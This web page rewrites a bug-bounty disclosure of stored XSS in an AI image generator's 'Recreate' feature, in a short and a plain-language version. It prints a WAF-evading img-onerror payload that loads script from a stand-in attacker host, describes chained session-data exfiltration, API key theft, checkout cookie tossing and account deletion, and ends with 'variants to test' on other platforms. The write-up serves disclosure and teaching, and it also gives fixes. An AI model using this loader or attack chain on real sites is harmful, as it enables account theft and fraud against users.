Skip to content
XSS Write-up Intermediate

How I Triggered XSS in an AI Image Generator Using Image Recreation Feature

The AI image generator's 'Recreate' feature inserted a stored prompt into the page as HTML without encoding, so a malicious prompt could run script in the browser of anyone who clicked Recreate. An attacker could then read session data, start an email change, steal API keys, plant cookies on checkout pages and delete the account.

Aceproulx Follow

Published on medium.com

Cybersecurity

Aceproulx, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

The target was an AI image generator on a platform the author refers to only as [Target Platform]. The feature works like this: you type a prompt, you get four image variants, and you can publish your favourite to a public community gallery. Anyone can browse that gallery, and anyone can click "Recreate" on someone else's published image to reuse their prompt.

That last part is the interesting bit. Recreate pulls the original prompt back out of storage and drops it into the prompt input field. The question the author set out to answer was simple: does it sanitise that text first? It did not.

From the original on medium.com

Setup

The write-up does not describe special accounts, roles or tooling versions. The public community gallery is the key precondition, and Pro accounts matter for the API key step. The author was clicking around the image generator like a normal user. The only infrastructure mentioned is an OAST listener used to receive exfiltrated data, and an attacker-controlled host serving a payload file. The community gallery being public is the key precondition: no phishing link is needed, because victims browse the gallery organically.

Finding it

The author noticed that the "Recreate" button was handing back someone else's raw prompt, unsanitised, straight into the DOM. The prompt text is injected directly into a <div> in the prompt field without HTML encoding. So if a stored prompt contains markup, that markup renders, and executes, the moment a victim clicks "Recreate".

A standard XSS polyglot dropped into the prompt field confirmed that it fired in the browser of anyone who recreated the image. Because the gallery is public, the payload only has to be published once and then waits for a visitor.

Exploitation

Step 1: get past the WAF with a boring inline payload

There was a WAF in the way, blocking anything with obvious XSS tells: fetch, credentials, document, full URLs. But it was only pattern-matching the inline payload. So instead of cramming the whole attack inline, the author kept the inline part boring:

Text
a beautiful mountain landscape at sunset <img src=0 onerror="s=document.createElement('script');s.src='//<attacker-host>/poc.js';document.head.append(s)">

There is no fetch, no credentials and no flagged keyword in that string. The onerror handler quietly appends a <script> tag pointing at an externally hosted payload. The WAF waved it through, and the real logic lived off-platform in poc.js, outside the filter's reach.

Step 2: session data exfiltration

The external script hit https://redacted.com/api/user/session and shipped the victim's email, username, account ID and wallet ID off to an OAST listener.

Step 3: email-change kickoff

A PUT to the user-data endpoint sets the account email to an attacker-controlled address. It needs victim confirmation to finish, but it still lands an unexpected "confirm your email change" message in their inbox and knocks the account into limbo.

Step 4: API key theft

For Pro users, the script hit the developer-key endpoint and walked away with credentials good for the image generation, video generation, upscaling and editing APIs. Billed to the victim, enjoyed by the attacker.

Step 5: cookie tossing into the checkout flow

The session tokens are HttpOnly, so JavaScript cannot read them directly. But it can still write new cookies, scoped to specific paths such as /checkout/... and /pricing. Browsers prefer the more path-specific cookie, so the attacker's own valid session token quietly wins over the victim's root-level cookie on payment pages. The victim clicks "subscribe", and the attacker's account gets upgraded, on the victim's dime.

Step 6: account deletion without confirmation

Reading the CSRF token straight out of document.cookie and replaying it in the required header was enough to fire a DELETE request against the account-deletion endpoint. One click, zero confirmations, account gone.

None of this needed a second interaction from the victim beyond the one click that started it all.

Root cause

The prompt text is injected straight into a <div> in the prompt field without HTML encoding, so stored markup is parsed and executed when the prompt is recreated. The report says the prompt text is injected straight into a <div> in the prompt field without HTML encoding, and recommends .value or .textContent instead of innerHTML.

The WAF did not stop it because it only pattern-matched the inline payload for known keywords and full URLs. Moving the logic into an external script defeated that check. The report recommends adding a Content-Security-Policy that blocks inline event handlers and restricts script-src.

Impact

  • Account email, username, account ID, wallet ID and subscription status exfiltrated to an attacker-controlled endpoint.
  • Partial account takeover via an unauthorised email-change request.
  • Payment and checkout session hijacking through path-scoped cookie tossing, so victim purchases can resolve against the attacker's account.
  • API key theft and abuse against the victim's usage quota, for Pro accounts.
  • Irreversible, confirmation-free account deletion.
  • Zero victim interaction beyond browsing a public gallery and clicking a normal, expected UI button.

The report was marked Archived / Duplicate of an earlier submission on the platform's bug bounty programme, so it was ultimately paid at €0.

Fix

The author's recommendations, none of which are described as having been implemented:

  1. Never inject stored prompt values via innerHTML or anything that parses HTML. Use .value or .textContent for the prompt field instead.
  2. Sanitise and validate prompt content at write time, when it is first stored, not just when it is displayed.
  3. Add a real Content-Security-Policy that blocks inline event handlers and restricts script-src to trusted origins. This alone kills the WAF-bypass technique used here.
  4. Set session cookies with SameSite=Strict, or at minimum Lax, to shrink the broader cross-site attack surface.
  5. On payment-sensitive endpoints, bind the session to something beyond a cookie value, such as IP or user-agent fingerprinting or a session-tied token, so path-scoped cookie injection cannot walk in and win.

Variants to test

  1. Recreate-style features on other generators. Publish a prompt containing an <img src=0 onerror=...> payload, then recreate it from a second account. A positive result is the handler firing in the recreating browser.
  2. Keyword-filtered WAFs. When fetch, document or full URLs are blocked, try the external-script loader shown above. A positive result is the WAF accepting the payload and poc.js loading from your host.
  3. Path-scoped cookie tossing. Check whether session cookies are HttpOnly but writable from JavaScript, and whether payment or pricing paths exist. A positive result is your session being used on a path where the victim's root cookie would normally apply.
  4. CSRF tokens readable from document.cookie. Look for a token that is not HttpOnly and is replayed in a header. A positive result is a state-changing request, such as account deletion, succeeding from injected script without further confirmation.
  5. Developer-key endpoints for paid tiers. Test whether a Pro-only key endpoint is reachable from injected script. A positive result is credentials for generation, upscaling or editing APIs being returned to the attacker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

A security researcher found a bug in an AI image generator. The site lets people type a text prompt, get four pictures, and publish their favourite to a public gallery. Anyone can click a button called "Recreate" on someone else's picture to reuse the prompt that made it. The bug was that the site took the original prompt text and put it back into the page without cleaning it first. If the prompt contained hidden instructions written in a web language called HTML, those instructions ran in the browser of whoever clicked "Recreate". That let the attacker steal account details, start an email change, take API keys, mess with the checkout, and even delete the victim's account, all from one click on a normal button. The report was marked as a duplicate of an earlier submission, so it was paid €0.

From the original on medium.com

The feature and the question

The target is an AI image generator on a platform the author calls [Target Platform]. You type a prompt, you get four image variants, and you can publish your favourite to a public community gallery. Anyone can browse that gallery, and anyone can click "Recreate" on someone else's published image to reuse their prompt.

That last part is the interesting bit. Recreate pulls the original prompt back out of storage and drops it into the prompt input field. The question the author set out to answer was simple: does it sanitise that text first? It did not.

To follow the rest, you need a few ideas from the ground up.

  • HTML is the language browsers use to describe a page: text, images, buttons, and so on. It is made of tags in angle brackets, like <div> for a box or <img> for an image. A browser reads HTML and turns it into what you see.
  • The DOM (Document Object Model) is the browser's live, in-memory model of the page. When a page changes without reloading, it is usually because JavaScript changed the DOM.
  • JavaScript is the programming language that runs inside web pages. It can read and change the page, talk to servers, and read some cookies.
  • Sanitising means cleaning text so that any HTML inside it is treated as plain text, not as instructions. If you type <b>hello</b> into a comment box and the site shows it as bold text, it did not sanitise. If it shows the literal characters <b>hello</b>, it did.
  • XSS (cross-site scripting) is a vulnerability where an attacker gets their own JavaScript to run in someone else's browser on a site they trust. The attacker's code then acts with the victim's permissions.
  • Stored XSS is a type of XSS where the malicious text is saved on the server first, for example in a prompt, a comment or a profile. Every visitor who later views that saved content runs the code. This is different from reflected XSS, where the payload comes back immediately from a link.
  • A polyglot in this context is a single payload string written to work in several different HTML contexts, so the attacker does not have to guess exactly where the text will land.
  • A WAF (web application firewall) is a filter that sits in front of a website and blocks requests that look malicious, usually by matching known patterns such as certain words or URLs.
  • An API is a way for programs to talk to a server. Think of it as a service counter: you send a request in a defined format, and you get data or an action back. Websites use APIs constantly, often from JavaScript in the page.
  • A cookie is a small piece of data a site stores in your browser and sends back with every request to that site. It is how a site remembers who you are between page loads. A session cookie is a cookie that identifies your logged-in session.
  • HttpOnly is a flag on a cookie that stops JavaScript from reading it. The browser still sends it to the server, but scripts cannot see its value.
  • A CSRF token (cross-site request forgery token) is a random value a site puts in a page or cookie and expects back on sensitive requests, to prove the request came from the site's own page and not from an attacker's page.
  • An OAST listener (out-of-band application security testing) is a server the researcher controls that records incoming requests. It is used to prove that data left the victim's browser, even when the attacker cannot see the response directly.

Setup

The write-up does not describe special accounts, roles or tooling versions. The public community gallery is the key precondition, and Pro accounts matter for the API key step. The author was clicking around the image generator like a normal user. The only infrastructure mentioned is an OAST listener used to receive exfiltrated data, and an attacker-controlled host serving a payload file. The community gallery being public is the key precondition: no phishing link is needed, because victims browse the gallery organically.

Finding it

The author noticed that the "Recreate" button was handing back someone else's raw prompt, unsanitised, straight into the DOM. The prompt text is injected directly into a <div> in the prompt field without HTML encoding. So if a stored prompt contains markup, that markup renders, and executes, the moment a victim clicks "Recreate".

A standard XSS polyglot dropped into the prompt field confirmed that it fired in the browser of anyone who recreated the image. Because the gallery is public, the payload only has to be published once and then waits for a visitor.

Why this matters: the prompt field is supposed to be a text box. A text box should show whatever characters you put in it. Here, the site was treating the stored prompt as HTML and building part of the page from it. That is the difference between a text box and a tiny web page.

Exploitation

Step 1: get past the WAF with a boring inline payload

There was a WAF in the way, blocking anything with obvious XSS tells: fetch, credentials, document, full URLs. But it was only pattern-matching the inline payload. So instead of cramming the whole attack inline, the author kept the inline part boring:

Text
a beautiful mountain landscape at sunset <img src=0 onerror="s=document.createElement('script');s.src='//<attacker-host>/poc.js';document.head.append(s)">

Line by line, in plain words:

  • a beautiful mountain landscape at sunset is ordinary prompt text. It makes the payload look like a normal image prompt to a human and to simple filters.
  • <img src=0 ...> asks the browser to load an image from the address 0, and the load fails.
  • onerror="..." is an event handler. It is a piece of JavaScript that the browser runs automatically when the image fails to load. This is the trick: the attacker does not need the image, only the failure.
  • s=document.createElement('script') creates a new script element in the page. document is the browser's model of the page, and createElement makes a new HTML element.
  • s.src='//<attacker-host>/poc.js' points that new script at a file on the attacker's server. The // means "use the same scheme as the current page", so it works over HTTP or HTTPS.
  • document.head.append(s) adds the script to the page's head, which makes the browser download and run poc.js.

There is no fetch, no credentials and no flagged keyword in that string. The onerror handler fires because src=0 fails to load, then quietly appends a <script> tag pointing at an externally hosted payload. The WAF waved it through, and the real logic lived off-platform in poc.js, outside the filter's reach.

Why this step was taken: the WAF was checking the text of the prompt for words it associated with attacks. By keeping the inline part to a harmless-looking image tag and moving the real code to a separate file, the author avoided those words entirely. The browser does not care where the script came from; it runs it.

Step 2: session data exfiltration

The external script hit https://redacted.com/api/user/session and shipped the victim's email, username, account ID and wallet ID off to an OAST listener.

What this means: poc.js made a request to the site's own API endpoint for the current user's session. Because the script was running inside the victim's browser, the request carried the victim's cookies, so the server answered with the victim's details. The script then sent those details to the OAST listener, which is a server the researcher controls. That proves the data left the browser.

Step 3: email-change kickoff

A PUT to the user-data endpoint sets the account email to an attacker-controlled address. It needs victim confirmation to finish, but it still lands an unexpected "confirm your email change" message in their inbox and knocks the account into limbo.

What this means: PUT is an HTTP method, like GET or POST, used to update a resource. The script sent a PUT request to the endpoint that stores user data, asking to change the email address. The site required the victim to confirm by email before the change completed, so this was not a full takeover. But it still sent a confusing confirmation email and left the account in an odd state.

Step 4: API key theft

For Pro users, the script hit the developer-key endpoint and walked away with credentials good for the image generation, video generation, upscaling and editing APIs. Billed to the victim, enjoyed by the attacker.

What this means: an API key is like a password for a program. Pro users can get keys that let their own software use the platform's image and video features. Because the script ran as the victim, it could ask the site for those keys and send them to the attacker. The attacker could then use the victim's paid quota.

Step 5: cookie tossing into the checkout flow

The session tokens are HttpOnly, so JavaScript cannot read them directly. But it can still write new cookies, scoped to specific paths such as /checkout/... and /pricing. Browsers prefer the more path-specific cookie, so the attacker's own valid session token quietly wins over the victim's root-level cookie on payment pages. The victim clicks "subscribe", and the attacker's account gets upgraded, on the victim's dime.

What this means: a cookie can be limited to a path on the site. A cookie set for /checkout/ is only sent on checkout pages, while a cookie set for / is sent everywhere. When two cookies have the same name, the browser sends the one whose path matches more specifically. The attacker's script cannot read the victim's HttpOnly session cookie, but it can create a new cookie with the same name and a more specific path. On payment pages, the site then sees the attacker's session instead of the victim's. The victim pays, and the attacker's account is upgraded.

Step 6: account deletion without confirmation

Reading the CSRF token straight out of document.cookie and replaying it in the required header was enough to fire a DELETE request against the account-deletion endpoint. One click, zero confirmations, account gone.

What this means: the site stored its CSRF token in a cookie that JavaScript could read, not an HttpOnly one. The script read that token and put it in the request header the site expected. With the token present, the site accepted a DELETE request to the account-deletion endpoint. DELETE is the HTTP method for removing a resource. No extra confirmation was needed.

None of this needed a second interaction from the victim beyond the one click that started it all.

Root cause

The prompt text is injected straight into a <div> in the prompt field without HTML encoding, so stored markup is parsed and executed when the prompt is recreated. The report says the prompt text is injected straight into a <div> in the prompt field without HTML encoding, and recommends .value or .textContent instead of innerHTML.

In plain words: innerHTML is a JavaScript property that sets a page element's content as HTML. If you give it text containing tags, the browser builds those tags. .value and .textContent set plain text instead, so tags stay as visible characters. The site appears to have used the HTML-parsing kind.

The WAF did not stop it because it only pattern-matched the inline payload for known keywords and full URLs. Moving the logic into an external script defeated that check. The report recommends adding a Content-Security-Policy that blocks inline event handlers and restricts script-src. A Content-Security-Policy is a header a site can send to tell the browser which sources of script are allowed; a strict one would have refused both the inline handler and the external file.

Impact

  • Account email, username, account ID, wallet ID and subscription status exfiltrated to an attacker-controlled endpoint.
  • Partial account takeover via an unauthorised email-change request.
  • Payment and checkout session hijacking through path-scoped cookie tossing, so victim purchases can resolve against the attacker's account.
  • API key theft and abuse against the victim's usage quota, for Pro accounts.
  • Irreversible, confirmation-free account deletion.
  • Zero victim interaction beyond browsing a public gallery and clicking a normal, expected UI button.

The report was marked Archived / Duplicate of an earlier submission on the platform's bug bounty programme, so it was ultimately paid at €0.

Fix

The author's recommendations, none of which are described as having been implemented:

  1. Never inject stored prompt values via innerHTML or anything that parses HTML. Use .value or .textContent for the prompt field instead.
  2. Sanitise and validate prompt content at write time, when it is first stored, not just when it is displayed.
  3. Add a real Content-Security-Policy that blocks inline event handlers and restricts script-src to trusted origins. This alone kills the WAF-bypass technique used here.
  4. Set session cookies with SameSite=Strict, or at minimum Lax, to shrink the broader cross-site attack surface.
  5. On payment-sensitive endpoints, bind the session to something beyond a cookie value, such as IP or user-agent fingerprinting or a session-tied token, so path-scoped cookie injection cannot walk in and win.

Why each fix helps, briefly: using .value or .textContent stops the browser from treating the prompt as HTML. Sanitising at write time means bad content never enters storage. A Content-Security-Policy is a browser-enforced allowlist for scripts, so even if a payload gets in, the browser refuses to run it. SameSite tells the browser when to send a cookie on cross-site requests, which limits some attacks. Binding the session to more than a cookie value makes a stolen or injected cookie less useful on its own.

Variants to test

  1. Recreate-style features on other generators. Publish a prompt containing an <img src=0 onerror=...> payload, then recreate it from a second account. A positive result is the handler firing in the recreating browser.
  2. Keyword-filtered WAFs. When fetch, document or full URLs are blocked, try the external-script loader shown above. A positive result is the WAF accepting the payload and poc.js loading from your host.
  3. Path-scoped cookie tossing. Check whether session cookies are HttpOnly but writable from JavaScript, and whether payment or pricing paths exist. A positive result is your session being used on a path where the victim's root cookie would normally apply.
  4. CSRF tokens readable from document.cookie. Look for a token that is not HttpOnly and is replayed in a header. A positive result is a state-changing request, such as account deletion, succeeding from injected script without further confirmation.
  5. Developer-key endpoints for paid tiers. Test whether a Pro-only key endpoint is reachable from injected script. A positive result is credentials for generation, upscaling or editing APIs being returned to the attacker.

Glossary

  • API: a defined way for programs to talk to a server, usually over HTTP, to fetch data or trigger actions.
  • API key: a secret string that identifies a program or user to an API, like a password for software.
  • Archived / Duplicate: a bug bounty status meaning the report was closed and matched to an earlier submission, often with no separate payout.
  • Content-Security-Policy: an HTTP header that tells the browser which sources of scripts and other resources are allowed on a page.
  • Cookie: a small piece of data a site stores in the browser and receives back on later requests, often used to remember a session.
  • CSRF token: a random value a site expects on sensitive requests to prove the request came from its own page.
  • DELETE: an HTTP method used to remove a resource.
  • DOM: the browser's live model of a page, which JavaScript can read and change.
  • Event handler: a piece of JavaScript attached to an element that runs when something happens, such as an image failing to load.
  • Exfiltration: sending stolen data out to a server the attacker controls.
  • HTML: the markup language browsers use to describe page structure and content.
  • HttpOnly: a cookie flag that prevents JavaScript from reading the cookie's value.
  • innerHTML: a JavaScript property that sets an element's content as HTML, so tags are parsed and rendered.
  • JavaScript: the programming language that runs in web pages and can change the page and make requests.
  • OAST listener: a server controlled by the researcher that records incoming requests, used to confirm that data left the target.
  • Path-scoped cookie: a cookie limited to a particular path on the site, such as /checkout/.
  • Polyglot: a single payload string designed to work in several different HTML contexts.
  • Prompt: the text a user types to describe the image they want an AI generator to create.
  • PUT: an HTTP method used to update a resource on a server.
  • Sanitising: cleaning text so that any HTML in it is treated as plain text rather than instructions.
  • Session cookie: a cookie that identifies a logged-in session.
  • SameSite: a cookie attribute that controls whether the cookie is sent on cross-site requests.
  • Stored XSS: cross-site scripting where the malicious content is saved on the server and runs for later visitors.
  • textContent: a JavaScript property that sets an element's content as plain text, so tags are not parsed.
  • WAF: a web application firewall, a filter in front of a site that blocks requests matching known malicious patterns.
  • XSS: cross-site scripting, a vulnerability where an attacker's JavaScript runs in another user's browser on a trusted site.

More by Aceproulx

View all

1 more disclosed report, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.